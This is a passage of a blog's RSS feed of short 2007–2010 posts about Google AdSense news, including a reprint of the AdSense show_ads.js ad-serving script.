











<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blogulate &#187; Adsense</title>
	<atom:link href="http://blogulate.com/content/category/internet/google/adsense/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogulate.com</link>
	<description>Snippets from the web</description>
	<lastBuildDate>Mon, 15 Mar 2010 04:17:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Interest-based advertising on Adsense</title>
		<link>http://blogulate.com/content/interest-based-advertising-on-adsense/</link>
		<comments>http://blogulate.com/content/interest-based-advertising-on-adsense/#comments</comments>
		<pubDate>Fri, 13 Mar 2009 04:08:15 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Adsense]]></category>

		<guid isPermaLink="false">http://blogulate.com/?p=1305</guid>
		<description><![CDATA[It seems Google is rolling out a new kind of advertising (behaviorally targeted). Adsense publishers have been sent a mail describing the new advertising model. Here is an excerpt of the mail: 
Hi,
We&#8217;re writing to let you know about the upcoming launch of interest-based advertising, which will require you to review and make any necessary [...]]]></description>
			<content:encoded><![CDATA[<p>It seems Google is rolling out a new kind of advertising (behaviorally targeted). Adsense publishers have been sent a mail describing the new advertising model. Here is an excerpt of the mail: </p>
<blockquote><p>Hi,</p>
<p>We&#8217;re writing to let you know about the upcoming launch of interest-based advertising, which will require you to review and make any necessary changes to your site&#8217;s privacy policies. You&#8217;ll also see some new options on your Account Settings page.</p>
<p>Interest-based advertising will allow advertisers to show ads based on a user&#8217;s previous interactions with them, such as visits to advertiser website and also to reach users based on their interests (e.g. &#8220;sports enthusiast&#8221;).  To develop interest categories, we will recognize the types of web pages users visit throughout the Google content network.  As an example, if they visit a number of sports pages, we will add them to the &#8220;sports enthusiast&#8221; interest category.  To learn more about your associated account settings, please visit the AdSense Help Center at <a href="http://www.google.com/adsense/support/bin/topic.py?topic=20310" target="_blank">http://www.google.com/adsense/support/bin/topic.py?topic=20310</a>.</p>
<p>As a result of this announcement, your privacy policy will now need to reflect the use of interest-based advertising. Please review the information at <a href="https://www.google.com/adsense/support/bin/answer.py?answer=100557" target="_blank">https://www.google.com/adsense/support/bin/answer.py?answer=100557</a> to ensure that your site&#8217;s privacy policies are up-to-date, and make any necessary changes by April 8, 2009.  Because publisher sites and laws vary across countries, we&#8217;re unfortunately unable to suggest specific privacy policy language.</p>
<p>For more information about interest-based advertising, you can also visit the Inside AdSense Blog at <a href="http://adsense.blogspot.com/2009/03/driving-monetization-with-ads-that.html" target="_blank">http://adsense.blogspot.com/2009/03/driving-monetization-with-ads-that.html</a>.</p>
<p>We appreciate your participation and look forward to this upcoming enhancement.</p>
<p>Sincerely,</p>
<p>The Google AdSense Team</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/interest-based-advertising-on-adsense/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>AdSense login gets a makeover</title>
		<link>http://blogulate.com/content/adsense-login-gets-a-makeover/</link>
		<comments>http://blogulate.com/content/adsense-login-gets-a-makeover/#comments</comments>
		<pubDate>Thu, 05 Mar 2009 20:13:02 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Adsense]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/adsense-login-gets-a-makeover/</guid>
		<description><![CDATA[Till today, the Adsense login page looked like

The new layout looks like this:

]]></description>
			<content:encoded><![CDATA[<p>Till today, the Adsense login page looked like</p>
<p style="text-align: center"><img src="http://blogulate.com/wp-content/uploads/2009/03/googleadsensetutorial1.jpg" alt="Adsense old login" /></p>
<p>The new layout looks like this:</p>
<p style="text-align: center"><a href="https://www.google.com/adsense/login/en_US/" title="google adsense" target="_blank"><img src="http://blogulate.com/wp-content/uploads/2009/03/googleadsensetutorial2.jpg" alt="New look for adsense login page" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/adsense-login-gets-a-makeover/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Apply for an Adsense and Analytics Integration</title>
		<link>http://blogulate.com/content/apply-for-an-adsense-and-analytics-integration/</link>
		<comments>http://blogulate.com/content/apply-for-an-adsense-and-analytics-integration/#comments</comments>
		<pubDate>Sat, 27 Dec 2008 12:07:53 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Adsense]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/apply-for-an-adsense-and-analytics-integration/</guid>
		<description><![CDATA[
An AdSenseAdvisor has posted on webmasterworld that you have a chance of expediting Adsense+Analytics Integration process
Want to integrate your AdSense account with Google Analytics? Improved reporting was on publisher wish lists this year, so we’re spreading the reporting cheer this holiday season. Fill out our interest form, and we may be able to enable the [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center"><img src="http://blogulate.com/wp-content/uploads/2008/12/adsense-integration.JPG" alt="Adsense and Analytics Integration" /></p>
<p>An AdSenseAdvisor has <a href="http://www.webmasterworld.com/google_adsense/3805749.htm" target="wmw">posted</a> on webmasterworld that you have a chance of expediting Adsense+Analytics Integration process</p>
<blockquote><p>Want to integrate your AdSense account with Google Analytics? Improved reporting was on publisher wish lists this year, so we’re spreading the reporting cheer this holiday season. Fill out our <a href="http://spreadsheets.google.com/viewform?key=pD9DqwPQLWy_y9v1JWdDFSQ" rel="nofollow" target="_blank">interest form</a>, and we may be able to enable the feature earlier for you.</p></blockquote>
<p>Youtube: Linking AdSense to Analytics Video Demo<br />
<center><br />
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/LT_e8qeZiCw&#038;rel=0&#038;color1=0xb1b1b1&#038;color2=0xcfcfcf&#038;hl=en&#038;feature=player_embedded&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/LT_e8qeZiCw&#038;rel=0&#038;color1=0xb1b1b1&#038;color2=0xcfcfcf&#038;hl=en&#038;feature=player_embedded&#038;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br />
</center></p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/apply-for-an-adsense-and-analytics-integration/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>No gifts for AdSense publishers this Christmas</title>
		<link>http://blogulate.com/content/no-gifts-for-adsense-publishers-this-christmas/</link>
		<comments>http://blogulate.com/content/no-gifts-for-adsense-publishers-this-christmas/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 00:59:20 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Adsense]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/no-gifts-for-adsense-publishers-this-christmas/</guid>
		<description><![CDATA[We&#8217;ve already heard about the cost cutting methods deployed by Google, like curbs on the otherwise lavish holiday parties and efforts to boost revenue by an increase in the number of ads shown on the search results page.
Now it seem Google is cutting out on gifts to it&#8217;s top performing AdSense publishers this Christmas.
&#8220;..we feel [...]]]></description>
			<content:encoded><![CDATA[<p>We&#8217;ve already heard about the cost cutting methods deployed by Google, like curbs on the otherwise lavish holiday parties and efforts to boost revenue by an <a href="http://blogulate.com/content/75-increase-in-number-of-ads-displayed-on-google/">increase in the number of ads shown</a> on the search results page.<br />
Now it seem Google is cutting out on gifts to it&#8217;s top performing AdSense publishers this Christmas.</p>
<blockquote><p>&#8220;..we feel that <strong>gift-giving is not the most appropriate gesture this year </strong>given the current global economic climate. I know you may be disappointed, but I hope you can understand our efforts to be fiscally responsible in these times. &#8221;</p>
<p align="right">- An AdSense Advisor from Webmasterworld</p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/no-gifts-for-adsense-publishers-this-christmas/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Interactive Google Adsense Ads</title>
		<link>http://blogulate.com/content/interactive-google-adsense-ads/</link>
		<comments>http://blogulate.com/content/interactive-google-adsense-ads/#comments</comments>
		<pubDate>Mon, 17 Nov 2008 18:33:58 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Adsense]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/interactive-google-adsense-ads/</guid>
		<description><![CDATA[This is the first time I have seen an Interactive JS ad. (not flash) on the Google Adsense Network. The IFRAME source was ads.gmodules.com instead of the normal pagead2.googlesyndication.com.  An animated demo of the interactive ad had been shown below.

Although I&#8217;m not sure if you&#8217;ll be shown the same ad, have a look here.
]]></description>
			<content:encoded><![CDATA[<p>This is the first time I have seen an Interactive JS ad. (not flash) on the Google Adsense Network. The IFRAME source was <em>ads.gmodules.com</em> instead of the normal <em>pagead2.googlesyndication.com</em>.  An animated demo of the interactive ad had been shown below.</p>
<p style="text-align: center"><img src="http://i36.tinypic.com/e0hdec.gif" title="Interactive Google Adsense Ads" alt="Interactive Google Adsense Ads" height="350" width="400" /></p>
<p>Although I&#8217;m not sure if you&#8217;ll be shown the same ad, have a look <a href="http://blogulate.com/content/now-ancient-rome-on-google-earth/">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/interactive-google-adsense-ads/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Adsense PIN threshold reduced to 10$</title>
		<link>http://blogulate.com/content/adsense-pin-threshold-reduced-to-10/</link>
		<comments>http://blogulate.com/content/adsense-pin-threshold-reduced-to-10/#comments</comments>
		<pubDate>Tue, 19 Feb 2008 18:45:07 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Adsense]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/adsense-pin-threshold-reduced-to-10/</guid>
		<description><![CDATA[In the past, Google would send out your PIN (Personal Identification Number) when your earnings reached $50. However, it has recently been changed to $10.

 Official Blog
]]></description>
			<content:encoded><![CDATA[<p>In the past, Google would send out your PIN (Personal Identification Number) when your earnings reached $50. However, it has recently been changed to $10.</p>
<p style="text-align: center"><img src="http://blogulate.com/wp-content/uploads/2008/02/pin_phone_holds_decreased_to_10.gif" alt="adsense PIN threshold 10 $" /></p>
<p><a href="http://adsense.blogspot.com/2008/01/pinning-it-down-to-10.html" target="_blank"> Official Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/adsense-pin-threshold-reduced-to-10/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Google testing new &#8217;slider ads&#8217; in Adsense</title>
		<link>http://blogulate.com/content/google-testing-new-slider-ads-in-adsense/</link>
		<comments>http://blogulate.com/content/google-testing-new-slider-ads-in-adsense/#comments</comments>
		<pubDate>Wed, 12 Dec 2007 12:27:16 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Adsense]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/google-testing-new-slider-ads-in-adsense/</guid>
		<description><![CDATA[
Google is trying out Ads with little arrow buttons on them which rotate the ads. Sliding arrows don&#8217;t always come up, indicating it&#8217;s in a test stage. Many bloggers have reported of it being displayed on their blogs.
It has been observed on the Half Banner and Large Rectangle formats.
]]></description>
			<content:encoded><![CDATA[<p><img src="http://blogulate.com/wp-content/uploads/2007/12/adsense_scroll.jpg" alt="adsense_scroll.jpg" /></p>
<p>Google is trying out Ads with little arrow buttons on them which rotate the ads. Sliding arrows don&#8217;t always come up, indicating it&#8217;s in a test stage. Many bloggers have reported of it being displayed on their blogs.<br />
It has been observed on the<strong> Half Banner</strong> and <strong>Large Rectangle</strong> formats.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/google-testing-new-slider-ads-in-adsense/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Inside adsense show_ads.js</title>
		<link>http://blogulate.com/content/inside-adsense-show_adsjs/</link>
		<comments>http://blogulate.com/content/inside-adsense-show_adsjs/#comments</comments>
		<pubDate>Sat, 01 Dec 2007 19:45:06 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Adsense]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/inside-adsense-show_adsjs/</guid>
		<description><![CDATA[The adsense external file is called &#8220;http:// pagead2.googlesyndication.com/pagead/ show_ads.js&#8221;. It basically displays the ads. Here goes the entire code.
( function(){
// NOTE: This file is intended to be compiled with JSCompiler. If you are
// getting a compiler error when using a JavaScript built-in, please update
// google3/contentads/frontend/externs.js
function quoted(str) {
return (str != null) ? &#8216;&#8221;&#8216; + str + [...]]]></description>
			<content:encoded><![CDATA[<p>The adsense external file is called &#8220;http:// pagead2.googlesyndication.com/pagead/ show_ads.js&#8221;. It basically displays the ads. Here goes the entire code.</p>
<p><code>( function(){<br />
// NOTE: This file is intended to be compiled with JSCompiler. If you are<br />
// getting a compiler error when using a JavaScript built-in, please update<br />
// google3/contentads/frontend/externs.js</code></p>
<p>function quoted(str) {<br />
return (str != null) ? &#8216;&#8221;&#8216; + str + &#8216;&#8221;&#8216; : &#8216;&#8221;"&#8216;;<br />
}</p>
<p>function google_encodeURIComponent(str) {<br />
if (typeof(encodeURIComponent) == &#8216;function&#8217;) {<br />
return encodeURIComponent(str);<br />
} else {<br />
return escape(str);<br />
}<br />
}</p>
<p>function google_write_tracker(d, ad_url, tracker_event) {<br />
var qloc = ad_url.indexOf(&#8216;?&#8217;);<br />
var img_src = &#8216;http://pagead2.googlesyndication.com/pagead/imp.gif?event=&#8217;;<br />
img_src += tracker_event;<br />
if (qloc != -1 &amp;&amp; qloc + 1 &lt; ad_url.length) {<br />
img_src += &#8216;&amp;&#8217; + ad_url.substring(qloc + 1);<br />
}<span id="more-673"></span><br />
var img_tag = &#8216;&lt;img height=&#8221;1&#8243; width=&#8221;1&#8243; border=&#8221;0&#8243; &#8216; +<br />
&#8217;src=&#8217; + quoted(img_src) +<br />
&#8216; /&gt;&#8217;;<br />
d.write(img_tag);<br />
}</p>
<p>function google_append_url(param, value) {<br />
if (value) {<br />
window.google_ad_url += &#8216;&amp;&#8217; + param + &#8216;=&#8217; + value;<br />
}<br />
}</p>
<p>function google_append_url_esc(param, value) {<br />
if (value) {<br />
google_append_url(param, google_encodeURIComponent(value));<br />
}<br />
}</p>
<p>function google_append_color(param, value, random) {<br />
if (value &amp;&amp; typeof(value) == &#8216;object&#8217;) {<br />
value = value[random % value.length];<br />
}<br />
google_append_url(&#8216;color_&#8217; + param, value);<br />
}</p>
<p>function google_get_user_data(w, date) {<br />
var screen = w.screen;<br />
var javaEnabled = navigator.javaEnabled();<br />
var tz = -date.getTimezoneOffset();</p>
<p>if (screen) {<br />
google_append_url(&#8220;u_h&#8221;, screen.height);<br />
google_append_url(&#8220;u_w&#8221;, screen.width);<br />
google_append_url(&#8220;u_ah&#8221;, screen.availHeight);<br />
google_append_url(&#8220;u_aw&#8221;, screen.availWidth);<br />
google_append_url(&#8220;u_cd&#8221;, screen.colorDepth);<br />
}</p>
<p>google_append_url(&#8220;u_tz&#8221;, tz);<br />
google_append_url(&#8220;u_his&#8221;, history.length);<br />
google_append_url(&#8220;u_java&#8221;, javaEnabled);</p>
<p>if (navigator.plugins) {<br />
google_append_url(&#8220;u_nplug&#8221;, navigator.plugins.length);<br />
}<br />
if (navigator.mimeTypes) {<br />
google_append_url(&#8220;u_nmime&#8221;, navigator.mimeTypes.length);<br />
}<br />
}</p>
<p>function google_modify_client(client) {<br />
client = client.toLowerCase();<br />
if (client.substring(0, 3) != &#8216;ca-&#8217;) {<br />
client = &#8216;ca-&#8217; + client;<br />
}<br />
return client;<br />
}</p>
<p>function google_write_iframe(w, d, ad_url) {<br />
ad_url = ad_url.substring(0, 1000);<br />
ad_url = ad_url.replace(/%\w?$/, &#8221;);</p>
<p>if (w.google_ad_output == &#8216;js&#8217; &amp;&amp;<br />
(w.google_ad_request_done || w.google_radlink_request_done)) {<br />
d.write(&#8216;&lt;script language=&#8221;JavaScript1.1&#8243;&#8216; +<br />
&#8216; src=&#8217; + quoted(ad_url) + &#8216;&gt;&lt;/&#8217; + &#8217;script&gt;&#8217;);<br />
} else if (w.google_ad_output == &#8216;html&#8217;) {<br />
if (w.name == &#8216;google_ads_frame&#8217;) {<br />
google_write_tracker(d, ad_url, &#8216;reboundredirect&#8217;);<br />
} else {<br />
d.write(&#8216;&lt;iframe&#8217; +<br />
&#8216; name=&#8221;google_ads_frame&#8221;&#8216; +<br />
&#8216; width=&#8217; + quoted(w.google_ad_width) +<br />
&#8216; height=&#8217; + quoted(w.google_ad_height) +<br />
&#8216; frameborder=&#8217; + quoted(w.google_ad_frameborder) +<br />
&#8216; src=&#8217; + quoted(ad_url) +<br />
&#8216; marginwidth=&#8221;0&#8243;&#8216; +<br />
&#8216; marginheight=&#8221;0&#8243;&#8216; +<br />
&#8216; vspace=&#8221;0&#8243;&#8216; +<br />
&#8216; hspace=&#8221;0&#8243;&#8216; +<br />
&#8216; allowtransparency=&#8221;true&#8221;&#8216; +<br />
&#8216; scrolling=&#8221;no&#8221;&gt;&#8217;);<br />
google_write_tracker(d, ad_url, &#8216;noiframe&#8217;);<br />
d.write(&#8216;&lt;/iframe&gt;&#8217;);<br />
}<br />
}<br />
}</p>
<p>function google_reset_variables(w) {<br />
var nullvalue = null;<br />
w.google_ad_frameborder = nullvalue;<br />
w.google_ad_format = nullvalue;<br />
w.google_page_url = nullvalue;<br />
w.google_language = nullvalue;<br />
w.google_gl = nullvalue;<br />
w.google_country = nullvalue;<br />
w.google_region = nullvalue;<br />
w.google_city = nullvalue;<br />
w.google_hints = nullvalue;<br />
w.google_safe = nullvalue;<br />
w.google_encoding = nullvalue;<br />
w.google_ad_output = nullvalue;<br />
w.google_max_num_ads = nullvalue;<br />
w.google_ad_channel = nullvalue;<br />
w.google_contents = nullvalue;<br />
w.google_alternate_ad_url = nullvalue;<br />
w.google_alternate_color = nullvalue;<br />
w.google_color_bg = nullvalue;<br />
w.google_color_text = nullvalue;<br />
w.google_color_link = nullvalue;<br />
w.google_color_url = nullvalue;<br />
w.google_color_border = nullvalue;<br />
w.google_color_line = nullvalue;<br />
w.google_adtest = nullvalue;<br />
w.google_kw_type = nullvalue;<br />
w.google_kw = nullvalue;<br />
w.google_num_radlinks = nullvalue;<br />
w.google_max_radlink_len = nullvalue;<br />
w.google_rl_filtering = nullvalue;<br />
w.google_rl_mode = nullvalue;<br />
w.google_rt = nullvalue;<br />
w.google_ad_type = nullvalue;<br />
w.google_image_size = nullvalue;<br />
w.google_feedback = nullvalue;<br />
w.google_skip = nullvalue;<br />
w.google_page_location = nullvalue;<br />
w.google_referrer_url = nullvalue;<br />
w.google_ad_region = nullvalue;<br />
w.google_ad_section = nullvalue;<br />
w.google_bid = nullvalue;<br />
w.google_cpa_choice = nullvalue;<br />
}</p>
<p>function google_show_ad() {<br />
var nullvalue = null;<br />
var w = window;<br />
var d = document;<br />
var date = new Date();<br />
var random = date.getTime();<br />
var format = w.google_ad_format;</p>
<p>if (w.google_cpa_choice) {<br />
w.google_ad_url = &#8216;http://pagead2.googlesyndication.com/cpa/ads?&#8217;;<br />
w.google_ad_url += &#8216;client=&#8217; +<br />
escape(google_modify_client(w.google_ad_client));</p>
<p>google_append_url(&#8216;cpa_choice&#8217;, w.google_cpa_choice);<br />
google_append_url_esc(&#8216;format&#8217;, format.toLowerCase());</p>
<p>google_get_user_data(w, date);<br />
google_write_iframe(w, d, w.google_ad_url);<br />
google_reset_variables(w);<br />
return;<br />
}</p>
<p>var num_slots_by_client = w.google_num_slots_by_client;<br />
var num_slots_by_channel = w.google_num_slots_by_channel;<br />
var prev_ad_formats = w.google_prev_ad_formats_by_region;</p>
<p>w.onerror = w.google_org_error_handler;</p>
<p>if (w.google_ad_region == nullvalue &amp;&amp; w.google_ad_section != nullvalue) {<br />
w.google_ad_region = w.google_ad_section;<br />
}</p>
<p>var region = (w.google_ad_region == nullvalue) ? &#8221; : w.google_ad_region;</p>
<p>var is_zero_ad_format = false;<br />
if (format) {<br />
is_zero_ad_format = ((format).indexOf(&#8216;_0ads&#8217;)) &gt; 0;<br />
}</p>
<p>if (is_zero_ad_format) {<br />
if (w.google_num_0ad_slots) {<br />
w.google_num_0ad_slots = w.google_num_0ad_slots + 1;<br />
} else {<br />
w.google_num_0ad_slots = 1;<br />
}</p>
<p>if (w.google_num_0ad_slots &gt; 1) {<br />
return;<br />
}<br />
} else {<br />
if (w.google_num_ad_slots) {<br />
w.google_num_ad_slots = w.google_num_ad_slots + 1;<br />
} else {<br />
w.google_num_ad_slots = 1;<br />
}</p>
<p>if (w.google_num_slots_to_rotate) {<br />
prev_ad_formats[region] = nullvalue;<br />
if (w.google_num_slot_to_show == nullvalue) {<br />
w.google_num_slot_to_show = random % w.google_num_slots_to_rotate + 1;<br />
}<br />
if (w.google_num_slot_to_show != w.google_num_ad_slots) {<br />
return;<br />
}<br />
} else if (w.google_num_ad_slots &gt; 3 &amp;&amp; region == &#8221;) {<br />
return;<br />
}<br />
}</p>
<p>w.google_ad_url = &#8216;http://pagead2.googlesyndication.com/pagead/ads?&#8217;;<br />
w.google_ad_url += &#8216;client=&#8217; +<br />
escape(google_modify_client(w.google_ad_client));<br />
google_append_url(&#8216;dt&#8217;, date.getTime());<br />
google_append_url(&#8216;hl&#8217;, w.google_language);<br />
if (w.google_country) {<br />
google_append_url(&#8216;gl&#8217;, w.google_country);<br />
} else {<br />
google_append_url(&#8216;gl&#8217;, w.google_gl);<br />
}<br />
google_append_url(&#8216;gr&#8217;, w.google_region);<br />
google_append_url_esc(&#8216;gcs&#8217;, w.google_city);<br />
google_append_url_esc(&#8216;hints&#8217;, w.google_hints);<br />
google_append_url(&#8216;adsafe&#8217;, w.google_safe);<br />
google_append_url(&#8216;oe&#8217;, w.google_encoding);<br />
google_append_url(&#8216;lmt&#8217;, w.google_last_modified_time);<br />
google_append_url_esc(&#8216;alternate_ad_url&#8217;,<br />
w.google_alternate_ad_url);<br />
google_append_url(&#8216;alt_color&#8217;, w.google_alternate_color);<br />
google_append_url(&#8220;skip&#8221;, w.google_skip);</p>
<p>var client = w.google_ad_client;<br />
if (!num_slots_by_client[client]) {<br />
num_slots_by_client[client] = 1;<br />
num_slots_by_client.length += 1;<br />
} else {<br />
num_slots_by_client[client] += 1;<br />
}</p>
<p>if (prev_ad_formats[region]) {<br />
google_append_url_esc(&#8216;prev_fmts&#8217;,<br />
prev_ad_formats[region].toLowerCase());<br />
if (num_slots_by_client.length &gt; 1) {<br />
google_append_url(&#8217;slot&#8217;, num_slots_by_client[client]);<br />
}<br />
}</p>
<p>if (format) {<br />
google_append_url_esc(&#8216;format&#8217;, format.toLowerCase());<br />
if (prev_ad_formats[region]) {<br />
prev_ad_formats[region] = prev_ad_formats[region] + &#8216;,&#8217; + format;<br />
} else {<br />
prev_ad_formats[region] = format;<br />
}<br />
}</p>
<p>google_append_url(&#8216;num_ads&#8217;, w.google_max_num_ads);<br />
google_append_url(&#8216;output&#8217;, w.google_ad_output);<br />
google_append_url(&#8216;adtest&#8217;, w.google_adtest);</p>
<p>if (w.google_ad_channel) {<br />
var chnl = w.google_ad_channel.toLowerCase();<br />
google_append_url_esc(&#8216;channel&#8217;, chnl);<br />
var pv_ch = &#8221;;<br />
var arr = chnl.split(&#8216;+&#8217;);<br />
for (var i = 0; i &lt; arr.length; i++) {<br />
var ch = arr[i];<br />
if (!num_slots_by_channel[ch]) {<br />
num_slots_by_channel[ch] = 1;<br />
} else {<br />
pv_ch += ch + &#8216;+&#8217;;<br />
}<br />
}<br />
google_append_url_esc(&#8216;pv_ch&#8217;, pv_ch);<br />
}</p>
<p>google_append_url_esc(&#8216;url&#8217;, w.google_page_url);<br />
google_append_color(&#8216;bg&#8217;, w.google_color_bg, random);<br />
google_append_color(&#8216;text&#8217;, w.google_color_text, random);<br />
google_append_color(&#8216;link&#8217;, w.google_color_link, random);<br />
google_append_color(&#8216;url&#8217;, w.google_color_url, random);<br />
google_append_color(&#8216;border&#8217;, w.google_color_border, random);<br />
google_append_color(&#8216;line&#8217;, w.google_color_line, random);<br />
google_append_url(&#8216;kw_type&#8217;, w.google_kw_type);<br />
google_append_url_esc(&#8216;kw&#8217;, w.google_kw);<br />
google_append_url_esc(&#8216;contents&#8217;, w.google_contents);<br />
google_append_url(&#8216;num_radlinks&#8217;, w.google_num_radlinks);<br />
google_append_url(&#8216;max_radlink_len&#8217;,<br />
w.google_max_radlink_len);<br />
google_append_url(&#8216;rl_filtering&#8217;, w.google_rl_filtering);<br />
google_append_url(&#8216;rl_mode&#8217;, w.google_rl_mode);<br />
google_append_url(&#8216;rt&#8217;, w.google_rt);<br />
google_append_url(&#8216;ad_type&#8217;, w.google_ad_type);<br />
google_append_url(&#8216;image_size&#8217;, w.google_image_size);<br />
google_append_url(&#8216;region&#8217;, w.google_ad_region);<br />
google_append_url(&#8216;feedback_link&#8217;, w.google_feedback);<br />
google_append_url_esc(&#8216;ref&#8217;, w.google_referrer_url);<br />
google_append_url_esc(&#8216;loc&#8217;, w.google_page_location);<br />
google_append_url(&#8216;bid&#8217;, w.google_bid);</p>
<p>if (google_onpage(w, d) &amp;&amp; d.body) {<br />
var scr_h = d.body.scrollHeight;<br />
var clt_h = d.body.clientHeight;<br />
if (clt_h &amp;&amp; scr_h) {<br />
google_append_url_esc(&#8216;cc&#8217;, Math.round(clt_h * 100 / scr_h));<br />
}<br />
}</p>
<p>google_get_user_data(w, date);<br />
google_write_iframe(w, d, w.google_ad_url);<br />
google_reset_variables(w);<br />
}</p>
<p>function google_error_handler(message, url, line) {<br />
google_show_ad();<br />
return true;<br />
}</p>
<p>function google_onpage(w, d) {<br />
return w.top.location == d.location;<br />
}</p>
<p>function google_in_adframe(w, d) {<br />
var documentElement = d.documentElement;</p>
<p>if (google_onpage(w, d)) return false;</p>
<p>if (w.google_ad_width &amp;&amp; w.google_ad_height) {<br />
var wd = 1;<br />
var ht = 1;<br />
if (w.innerHeight) {<br />
wd = w.innerWidth;<br />
ht = w.innerHeight;<br />
} else if (documentElement &amp;&amp; documentElement.clientHeight) {<br />
wd = documentElement.clientWidth;<br />
ht = documentElement.clientHeight;<br />
} else if (d.body) {<br />
wd = d.body.clientWidth;<br />
ht = d.body.clientHeight;<br />
}</p>
<p>if (ht &gt; 2 * w.google_ad_height || wd &gt; 2 * w.google_ad_width) {<br />
return false;<br />
}<br />
}</p>
<p>return true;<br />
}</p>
<p>function google_init_globals() {<br />
var w = window;<br />
var d = document;<br />
var location = d.location;<br />
var referrer = d.referrer;<br />
var nullvalue = null;</p>
<p>w.google_org_error_handler = w.onerror;<br />
w.onerror = google_error_handler;</p>
<p>if (w.google_ad_frameborder == nullvalue) {<br />
w.google_ad_frameborder = 0;<br />
}</p>
<p>if (w.google_ad_output == nullvalue) {<br />
w.google_ad_output = &#8216;html&#8217;;<br />
}</p>
<p>if (w.google_ad_format == nullvalue &amp;&amp; w.google_ad_output == &#8216;html&#8217;) {<br />
w.google_ad_format = w.google_ad_width + &#8216;x&#8217; + w.google_ad_height;<br />
}</p>
<p>if (w.google_page_url == nullvalue) {<br />
w.google_page_url = referrer;<br />
if (!google_in_adframe(w, d)) {<br />
w.google_page_url = location;<br />
w.google_last_modified_time = Date.parse(d.lastModified) / 1000;<br />
w.google_referrer_url = referrer;<br />
}<br />
} else {<br />
w.google_page_location = referrer;<br />
if (!google_in_adframe(w, d)) {<br />
w.google_page_location = location;<br />
}<br />
}</p>
<p>if (w.google_num_slots_by_channel == nullvalue) {<br />
w.google_num_slots_by_channel = new Array();<br />
}</p>
<p>if (w.google_num_slots_by_client == nullvalue) {<br />
w.google_num_slots_by_client = new Array();<br />
}</p>
<p>if (w.google_prev_ad_formats_by_region == nullvalue) {<br />
w.google_prev_ad_formats_by_region = new Array();<br />
}<br />
}</p>
<p>google_init_globals();<br />
google_show_ad();<br />
})( )</p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/inside-adsense-show_adsjs/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Adsense eCPM</title>
		<link>http://blogulate.com/content/adsense-ecpm/</link>
		<comments>http://blogulate.com/content/adsense-ecpm/#comments</comments>
		<pubDate>Thu, 29 Nov 2007 05:39:13 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Adsense]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/adsense-ecpm/</guid>
		<description><![CDATA[ Check out eCPM &#8212; what exactly is that? from Inside AdSense blog.

]]></description>
			<content:encoded><![CDATA[<p> Check out <a href="http://adsense.blogspot.com/2006/02/ecpm-what-exactly-is-that.html" target="_blank">eCPM &#8212; what exactly is that?</a> from Inside AdSense blog.</p>
<p style="text-align: center"><img src="http://adsense.blogspot.com/uploaded_images/eCPM2-705842.JPG" height="325" width="400" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/adsense-ecpm/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>What is Adsense Smart Pricing ?</title>
		<link>http://blogulate.com/content/adsense-ripping-me-off-with-smart-pricing/</link>
		<comments>http://blogulate.com/content/adsense-ripping-me-off-with-smart-pricing/#comments</comments>
		<pubDate>Tue, 27 Nov 2007 15:59:44 +0000</pubDate>
